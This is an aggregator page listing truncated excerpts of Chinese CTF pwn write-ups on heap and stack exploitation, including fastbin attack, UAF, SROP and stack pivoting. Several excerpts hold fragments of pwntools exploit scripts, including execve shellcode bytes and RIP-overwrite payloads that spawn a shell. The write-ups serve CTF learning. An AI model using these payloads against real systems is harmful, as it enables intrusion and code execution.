BUU pwn cn】的更多相关文章

自己不细心,人家别的博客上写的明明没有那个冒号的,把linux命令好好学一学吧! nc后 ls 发现flag文件 cat就得到flag了…
本来想学习house of force,结果没用就直接做出来了...我用了三种方法来做这道题. 1.fastbins attack 2.unlink 3.house of force 可以改写got表,程序在edit的时候可以进行溢出. fasbins attack 通过溢出改写size字段,构造堆块重叠,泄露libc,改写fd指针,通过realloc调整栈帧,打__malloc_hook拿shell.常规操作,直接贴exp了 1 from pwn import * 2 3 p = proces…
[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个选项的函数 add 这边size的大小由我们输入控制,heaparray数组在bss段上存放着我们chunk的指针 edit,简单的根据指针修改对应chunk里的值,但是这里的size也是由我们手动输入的,也就是说只要我们这边输入的size比add的时候输入的size大就会造成溢出 delete,释…
[V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函数,沙盒的限制条件 用seccomp-tools看一下 其他禁用的指令是干什么的我不是很清楚,但是禁用了execve(系统调用),也就没办法获取shell权限了,只能够想办法通过open–>read–>write的方式来获取flag的值了 sub_1347()函数 一开始给我们泄露了puts函数的…
[pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA中分析 去除了符号表,通过menu函数分析出有add.edit.show.delete 1.add() add函数分析一遍,发现没什么漏洞,就是普普通通的输入一个需要申请的size(空间大小),然后再向这个malloc的空间中输入content(内容),其中size不能大于111(0x6F). 2.edit…
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1') p=remote('106.75.9.11',20000) nop='\x90'*19 buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x8…
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制.漏洞是一个内存未初始化漏洞,就是申请内存的时候,上一次的内存还未清0,这个时候通过构造特定输入可以使用内存中仍有的内容.这样的话,容易造成数组的越界读写.就是通过数组的越界读写将程序的基址,libc的基址,堆的基址,cookie都给泄露了出来.通过构造任意地址写,将虚表指针覆盖为gadget地址,…
刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要先安装 sudo apt-get install libsdl2-2.0 sudo apt-get install libsdl2-dev sudo apt--dev sudo apt-get install flex bison 否则会出现QEMU界面弹不出来的问题. 源码下载网址:https:/…
0.64位程序参数一次保存在RDI,RSI,RDX,RCX,R8和 R9,具体见图 windows64位调用约定 1.<_libc_csu_init>有一些万能gadget,汇编如下 #!bash 00000000004005a0 <__libc_csu_init>: 4005a0: 6c d8 mov %rbp,-0x28(%rsp) 4005a5: 4c e0 mov %r12,-0x20(%rsp) 4005aa: 8d 2d lea 0x200873(%rip),%rbp…
前言 这个是 seccon-ctf-quals-2016 的一个题,利用方式还是挺特殊的记录一下. 题目链接 http://t.cn/RnfeHLv 正文 首先看看程序的安全措施 haclh@ubuntu:~/workplace/jmper$ checksec jmper [*] '/home/haclh/workplace/jmper/jmper' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX ena…
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文件后,使用file命令查看. 32位的文件,用ida打开,F5查看伪代码. printf漏洞:https://www.cnblogs.com/cfans1993/articles/5619134.html 思路: 找到pwnme的地址 把pwnme的地址写到s里面 printf输出8个字节,然后用%n把8写入…
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本 from pwn import* sh=remote('f.buuoj.cn',6001) payload='a'*23+p64(0x401186) sh.sendline(payload) sh.interactive() 得到flag 3,warmup_csaw_2016…
前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看到url中的filehash 呢么意思就是如果知道cookie_secret的话,再结合md5的filename就可以读到/flllllag了把 其实到这里我就没什么思路了,对于render肯定存在模板的问题,百度了一下标题tornado Tornado是一种 Web 服务器软件的开源版本.Torn…
[安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ uns…
wdb_2018_3rd_soEasy 保护全关 在栈上写入shellcode,然后ret2shellcode from pwn import * local = 0pa binary = "./wdb_2018_3rd_soEasy" port = "26500" if local == 1: p = process(binary) else: p = remote("node3.buuoj.cn",port) def dbg(): conte…
没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多 怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度 漏洞点位于free函数,一个简单的UAF漏洞 然后接下来说说我一开始的思路 由于程序没有提供show函数,所以几乎可以确定要打_IO_2_1_stdout_,改掉flag然后泄漏libc 但是add函数里面只能申请小于0x60的chunk,根本找不到残留的unsorted bin留下的指针 然后,然后我就找不到思路了 然后学习了一波师傅们的wp 其实这个除了UAF还有一个小漏洞,就是可…
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 25677 [注] nc命令详解 -c shell命令为"-e":使用/bin/sh来执行 [危险] -e 文件名程序在连接后执行 [危险] -b 允许广播 -g 网关源路由跃点,最多8个 -G num源路由指针:4,8,12... -i secs 发送的线路和扫描的端口的延迟间隔为1秒 -…
前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia (7)Easy Java (8)Dropbox (9)Pythonginx (10)ikun (11)Online Tool (12)Web1 (13)Ping Ping Ping (14)shrine (15)easy_web (16)Love Math 题目: 随便注 涉及知识点: 堆叠注入 解析…
目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持函数名断点.地址断点.文件名:行号断点.$rebase(0x00)断点 设置gdb script,可以设置任何内置的gdb命令 远程答题 默认支持buuctf上解题的主机,只需要指定远程port 显式指定远程ip和port 可使用装饰器函数.偏函数 在执行函数前.后线程休眠指定秒数 记录函数执行日志…
碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! 之前学C的时候了解过gets()函数很危险 一般笔者会使用如下代码代替gets() scanf("%[^\n]%*c",a); 学了Pwn更直观地感受到了这一点 关于scanf的更多用法详见 https://blog.csdn.net/jeffasd/article/details/807…
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到804871F函数中有个ctrncmp函数,输入的buf与一个随机数进行比较.可以通过输入开头的字符为'\x00'进行绕过,使strlen长度为0,则strncmp判定必定成功. 之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时,则在read时a1会进行符号填充,那么我们就可…
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn import * #context.update(arch = 'i386', os = 'linux', timeout = 1) p = remote('node3.buuoj.cn',27146) #p = process('./pwn1') flag_addr = 0x40118A paylo…
要学习Pwn  Pwn环境那是必不可少滴! 我是新手,我也弄了好久,这里把经验分享给大家!这里感谢I春秋的"知世"老师的脚本!虽然写的不是很完美.还得我自己动手修改!PS:https://github.com/nightRainy 这是他的GIT 安不上软件主要的原因就是修改源.这里如果你像我一样安装的是Deepin的系统Apt源就不用改了,反正我感觉Deepin的Apt源速度还是很快滴!如果你是Unbuntu那么自己百度下吧!还有就是PIP源的修改,底下会讲到! 老师的脚本安装了下边…
目录 PWN环境搭建 需要的工具或系统 安装PWN工具 pwntools (CTF库.漏洞利用库) pwngdb(GDB插件) checksec(查保护) ROPGadget(二进制文件查找工具) one_gadget(libc查找one gadget最佳RCE工具) 安装32位的库 LibcSearcher(清华大佬写的工具 获取libc对应版本和地址) main_arena_offset(用来计算 main_arena 的偏移) seccomp-tools(用来读取seccomp沙箱规则)…
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方便理解 delete() show() 利用思路:使用uaf泄露libc,计算system,执行system('/bin/sh')获取shell 泄露libc print_note的打印功能可以帮助泄露地址. 先add chunk0,add chunk1,大小都为0x80. add(0x80,'aa…
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想到了SROP,之前遇到过一次,关于原理可以看一下这两篇文章 https://www.freebuf.com/articles/network/87447.html https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+s…
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shell check() 很简单的检查,就是判断一下v5是否等于n0t_r3@11y_f1@g 看main函数可以知道,v5一开始是ju3t_@_f@k3_f1@g,之后没有对v5的操作了,然后让我们输入v4,看一下v4和v5在栈上的位置,发现v5就在v4下方不远处 v4的输入是用的gets函数,我们可以…
0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show() 利用思路 edit存在堆溢出,可以通过重叠堆来泄露libc 然后利用fastbin attack,修改malloc_hook为one_gadget 利用过程 首先来构造重叠堆 先申请3个chunk, add(0x10)#0 add(0x10)#1 add(0x80)#2 来看一下堆的布局 2.…
ciscn_2019_s_4 附件 步骤: 例行检查,32位程序,开启了nx保护 本地试运行一下,看看大概的情况,两次输入,让人联想到栈迁移 32位ida载入,找到关键函数,只可以溢出8字节,没法构造太长的rop, 程序最后是用leave和retn还原现场的,首先想到的就是栈迁移 leave实质 上是move esp,ebp和pop ebp,将栈底地址赋给栈顶,然后在重新设置栈底地址,我的理解是重新开栈 retn实质上是pop rip,设置下一条执行指令的地址 利用思路 利用第一个输入点来泄露e…
hitcontraining_heapcreator 附件 步骤: 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看大概的情况,经典的堆的菜单 64位ida载入,main函数没有什么看头,直接看各个功能函数 create(),一次请求申请了两个chunk,前一个chunk里记录着后一个chunk的指针和size edit() show() delete() 利用思路: 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小…